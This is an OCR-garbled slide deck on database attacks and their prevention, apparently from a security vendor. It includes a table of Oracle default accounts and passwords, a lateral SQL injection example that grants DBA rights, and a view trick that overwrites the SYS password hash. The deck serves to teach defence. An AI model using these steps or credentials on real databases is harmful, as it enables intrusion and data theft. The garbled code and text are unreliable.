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Database Attacks

The Perfect Criminal Setup

AMotivation
ADat abases are the core of an or gan
ADi scl os e organi zationds confident.
ADi sclose clientsd confidenti al I nf
A Disrupt operation

AMeans
A VERY simple and accessible tools
A Some more sophisticated tools are gaining traction

AOpportunity
A Thick clients
A Loose internal network security

Al written applications
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The 5 Steps - Attacking A Database

AGetting the tools
AMaking initial contact
APrivilege abuse
APrivilege elevation

ACovering the tracks
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Database Attacks

Basic Tools

AMost database attacks are preformed by internal users
AMost internal users are not Hackers

ASome organizations have strict controls over local
software installation

AWhat basic tools can internal users leverage?

A Common software packages provide DB frontend
A E.g. Microsoft Exceli Part of any Office deployment

A DB client software
A E.g. SQL Query Analyzeri Default with MS-SQL
A E.g. Oracle SQL*Plusi Default with Oracle

A Similar client for other database vendors
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Database Attacks

Making Initial Contact

1. Get Network Access
A Lax internal network access controls
A Thick-client applications
2. Obtain valid credentials
A Brute Force Attacks / Exhaustive Search
A Thick Clients
A Default Accounts and Passwords

A Social Engineering
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Obtaining Credentials

Brute Force / Exhaustive Search

A Basic assumptions:
A User names are 6 characters long.

A Passwords are6 characters long.

r

A Server is practically dedicated to being attacked

A Time required:

r

A ~ 2" seconds, ~2%2 hours, ~ 258 days

A 100,000,000,000,000,000,000 years.
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Obtaining Credentials

Brute Force / Exhaustive Search

ASplitting the attacks to stages.

AStage 1. Get the username.

AStage 2. Get the password, accordingly.
ACut down number of combinations to 243
AHow?

A Look under the hood
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Obtaining Credentials

Brute Force / Exhaustive Search

Program Client driver Server

Invokelogin API call

Generate authentication
message with user name —

Respond with rejection

Gener at-G01AORA
invalid username/password;

| ogon deni edo message
——

Handle authentication
failure

Bad Username

]



Obtaining Credentials

Brute Force / Exhaustive Search

Program

Invokelogin API call

Client driver Server

Generate authentication
message with user name —

Respond with password

challenge
Generate response message
with password -

Respond with rejection
C——

Gener at-01RORA
invalid username/password;

——1l o0ogon deni edod0 message

Handle authentication
failure

Bad Password
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Obtaining Credentials

Brute Force / Exhaustive Search

APassword rules
A User: John
A Password:
A johnjohn
A nhoj
A john1234

ASmith (who happens to be Johnodés | ast

ADoe ( sameé)

AUsers need passwords they can remember

AOtherwise they write them on postix or notes under
their keyboard
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Obtaining Credentials

Default Accounts & Passwords

ADozens of default accounts for each database vendor

ASome are privileged

AMost have default passwords

ALists on the Internet
AExample: ctxsys
(oracle text services)
A nstalled by default
ADBA privileges

A Have full admin
capabillities

USERNAME PASSWORD
ADAMS TWOOD
ADLDEMO [ADLDEMO
ADMIN TETSPEED
APPLSYS [FND
APPLYSYSPUB PUB

APPS [APPS

AQ AQ
AQDEMO [AQDEMO
AQIAVA [AQIAVA
AQUSER [AQUSER
AUDIOUSER [AUDIOUSER.
AURORASTISSUTILITY$ INVALID
AURORA$ORB$SUNAUTHENTICATEDINVALID
BCA4J BC4T
BLAKE PAPER
CATALOG CATALOG
CDEMOS82 CDEMOS3
CDEMOCOR CDEMOCOR
CDEMORID CDEMORID
CDEMOUCB CDEMOUCB
CENTRA CENTRA
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HASH
72CDEF4A3483F60D
147215F51929A6E8
CAC22318F162D597
OF886772980B8CT9
ASE09ES4EC486FC9
D728438E8AS925E0
2B0OC31040A1CFB48
5140E342712061DD
8765D2543274B42E
4CF13BDACID7511C
CB4F2CECS5A352488
E1BAEGDOISAA9SF1E
S0C099FOEADF&7TE
EAA333E83BF2810D
0435F2E60569158E
397129246919E8DA
67B891F114BE3AEB
3A34F0B26BO51F3F
E30CEFE64B73B308
CEAE780F25D556F8
63BFSFFESE3EA16D
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Obtaining Credentials

f us er s provade dedentials:

ACode contains user name and password
ARegistry contains user name and password
APotential threats

A Rogue individuals
ATrojans
AMethods

A Extract credentials (known location)

A Sometimes requires online / offline decomposition
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Database Attacks

Privilege Abuse

A Definition

A User has privileges to access database for specific purpose

A Abuses access privileges to retrieve data in an uncontrolled manner
A Example - Thick Client Problems

A Order processing application must access credit card information

A Application with access control must access authentication /
authorization information

A Hard to Control

A Granular and accurate column level and row level access control are
difficult to implement

A Typically DBAs, programmers and Security Officers do not work
together during the life cycle of an application
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Database Attacks

Privilege Elevationi Buffer Overflow

ABuilt-in Functions
AExampIe: pwdencrypt () I Encrypt input text
AAccess cannot be restricted, available to any user

Almplementation is susceptible to buffer overflow
A Pwdencrypt crashes system when buffer overflow

AOnly requires connect privileges
ATens of vulnerabilities in recent years

]



Database Attacks

Privilege Elevationi Buffer Overflow

ASQL Statements:
ASome cannot be restricted
ACan be execut ed by any user, cano

Almplementation is susceptible to buffer overflow
Examples:
A Alter session set time_zone = <long string>

ACreate database | inké (execut ea

APro viding a string that is too long will cause a buffer
overflow!

AApprox. 10 buffer overflow vulnerabilities discussed in
recent years

]



Database Attacks

Privilege Elevationi Buffer Overflow

ABuilt-in Stored Procedure and Functions

ACan be restricted but some are publicly accessible by
default

Almplemented using external libraries (rather than
SQL)

ASusceptibIe to buffer overflow

Axp_ sprintf, ctx_output.start log

ATens of vulnerabilities in recent years
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Database Attacks

Privilege ElevationT SP SQL Injection

ADatabase stored procedures

A Are executed in the security context of their owner (by default)

A If created by dba then user running it has dba permissions

A Are useful for restricted access to privileged functions

ASome Susceptible to SQL Injection

A Some may get a SQL statement as parameter
AE. g. dbgto acottd

A Susceptible system stored procedures are publicly available, executed
under the context of the owner e

A Very typical of the Oracle database server but have been demonstrated with
other vendors as well
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Direct Database SQL Injection- Example

A Looking for SQL injection in stored procedures traditionally involves
parameters of character nature (CHAR, VARCHARZ2, etc.):

PROCEDURE VALIDATE_LAYER(LAYER IN VARCHREZULT TABLEI N VARCHAR2) | Seé
é
UPDATE_STR :='INSERT INTO " || RESULT_TABLE || ' VALUES(:gid, :gid_result)' ;
é
LOOP
BEGIN
FETCH QUERY_CRS INTO GID ;
EXIT WHEN QUERY_CRS%NOTFOUND ;
GID_RESULT := MDSYS.MD2.VALIDATE_GEOM(UPPER(
DBMS_ASSERT.QUALIFIED_SQL_NAME(LAYER) ), GID, NULL);
EXECUTE IMMEDIATE UPDATE_STR USING GID, GID_RESULT ;

]



Direct Database SQL Injection

Lateral SQL Injection

AParameters of type DATE and even NUMERIC are
susceptible for SQL Injection

ABut most P suspedt &Ps tthad us® them!

AFor example: a technigue based on the use of
NLS DATE_FORMAT

AF o r more I nformati on, see
SQL I njectiono white paper

http://www.databasesecurity.com/dbsec/lateral -sql-injection.pdf
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Direct Database SQL Infection

Lateral SQL Injection - Example

create or replace function bad_date return number is

num number; Q: Is the bad_date function

str varcha2(200); susceptible to SQL

begin Injection?

str := 'select count(*) from scott.emp where hiredate < """ ||
sysdate || """,

A: 6bad _ dat eod |i ¢
function that is susceptible
to SQL injection because it

dbms_output.put_line(str);
execute immediate str;

return num; executes a string that uses
end; sysdat eé
/

]



Direct Database SQL Injection

Lateral SQL Injection - Example

ABefore we continue, lets also create a malicious function
called get_dba:

create or replace function get_dba return varchar2 authid
current_user Is

PRAGMA AUTONOMOUS TRANSACTION;
begin

execute immediate ('grant dba to scott');
end,

/

]



Direct Database SQL Infection

Lateral SQL Injection - Example

L et O ssysddtet er

ALTER SESSION SET NLS DATE_FORMAT = """ and
scott.get dba''a''--';

Now call existing unsuspect S Pbad dateb
SELECTbad _datdcROM DUAL;

* When wal datedl lwed call a funct
t he alsysdatete df WOn ct i o nscottlgat dofad c a
and provides scott with DBA privileges
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Database Attacks

Privilege Elevation- Network Protocol Attacks

AProprietary network protocols are used to communicate
between clients and server

ACompIex
A Obscure, (almost) no public documentation
A Backwards compatibility

AAllow for different types of attacks
ACircumventing authentication
ADoS
A Buffer overflow
AAttacker only needs:
A network access to server
A Little research on the subject (mainly login messages)
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Database Attacks- Privilege Elevation

ARecent Oraclevulnerability, has been in the code base
from version 8i, not fully patched in all versions:

AAny user with SELECT privileges on a table can UPDATE or
DELETE rows

AExample:
SQL> updatesys.use$ set password = 'XXX' where
user#= 0;
updatesys. use$ set password = ' XXX' where userf)=
*
ERRORat line 1.:
ORA-01031: insufficienfprivileges

We tried to update the table failed (ORA-01031) as expected
- CONFIDENTIAL - @MPEN




ExampleT Privilege Elevation:

-- now we will create a view called hack:

SQL> create view hack as select * frays.use$ where
user# in (select user# frogays. used);

View created

-- via this view It is possible to insert/update/delete data:

SQL> update hack set password7C4032553625A8 where
user#=0;

1 row updated

SQL> select password frosys.use$ where user#9;
PASSWORD

5/C4032553625A8
32 - CONFIDENTIAL - @ MPEH“



Database Attacks

Covering Tracks

AMany databases are not audited so audit evasion not
an | ssuee

A Often only security failures are audited

A Most of the previously mentioned attacks will not be audited

AAttacker can tamper with audit if have elevated
privileges

A Attacker that gains elevated privileges

A DBA or other legitimate user with elevated privileges

ASome vulnerabilities in auditing mechanism

]
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DB Attack Prevention

ALet s call the DBA and have
A DBA does not have time!

A Multiple database vendors =
A Multiple DBAs
A Different Capabilities
A Different Syntax and Semantics

A Different Policies
A Partial tools for some of the issues

A No SoD - Full control of administrative functions
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DB Attack Prevention

ASome of the missing capabilities
AVuInerabiIity/ Compliance assessment
AUsage Profile per user, per application
A Context Based Profiling and Connection Control
A Virtual Patching & Protocol Validation
A Independent Audit
ASeparation of Duties

A Consolidation of policies and control
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The iImportance of profiling usage

Data Leakage Data Leakage
via Database Access via Web Application

Normal Usage Normal Usage

Select * from orders Select * from users where

where order_id = 60 username = 0O0johnodé an
password = O0smitho

Privilege Abuse SQL Injection

Select username, Select * from users where

password from username = 06johndé an

AdminUsers password = O0smitho
or1=1

Un-profiled table Suspicious Clause

]



Database Protection

The importance of a usage profile:

AModels Database UsageStructure

A Profile queries and business activities

A Profile privileged operations usage
A Profile access to system objects

AMonitor and Protect Based on UsageDynamics

A Verifies reaktime usage vs. policy

A Alert on deviations from policy

ALearns as Usage Expands or Changes

A Notifies Administrators as changes occur
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Database Protection

Context Based Access and Connection Control

AProfiling augmented with the context of query

AE.g. Client machine, client software, time-of-day

AProfiling augmented with results of query
AAffected records

AAmount of sensitive data extracted
AThreats detected

ASuspicious usage pattern
AMisuse of credentials
ACredentials theft

]



Protecting against zero-day attacks

AVirtual Patching
A Detect attempts to exploit known vulnerabilities
AUse a frequently updated signature database

A Must target platform vulnerabilities

AProtocol Validation

A Proactive
A White-listing based on protocol knowledge (No RFC)

A Rules are set based on protocol semantics and behavior of common clients

A Reactive

A Blacklisting of known protocol issues (CVES)

]



Database Protection

Why an independent Audit solution?

ANo effect on database
ANo effect on performance

ANo effect on stability
ASegregation of duties

AAudit trail cannot be tampered by privileged database user
AResilience
ANot affected by database vulnerabilities

AGranularity
AUniformity

]



Database Attacksi The Bottom Line

ADB Attacks are not science fiction

ATools are available, steps are simple

Alnternal DB protection is not a sustainable solution
A Lack of DBA resource
A Lack of capabilities

A Inherent Deficiencies

AExternal, 3" solutions are a must
A Put execution where responsibility is (CSO)
A Provide missing capabilities

A Assure resilience and timely response

]
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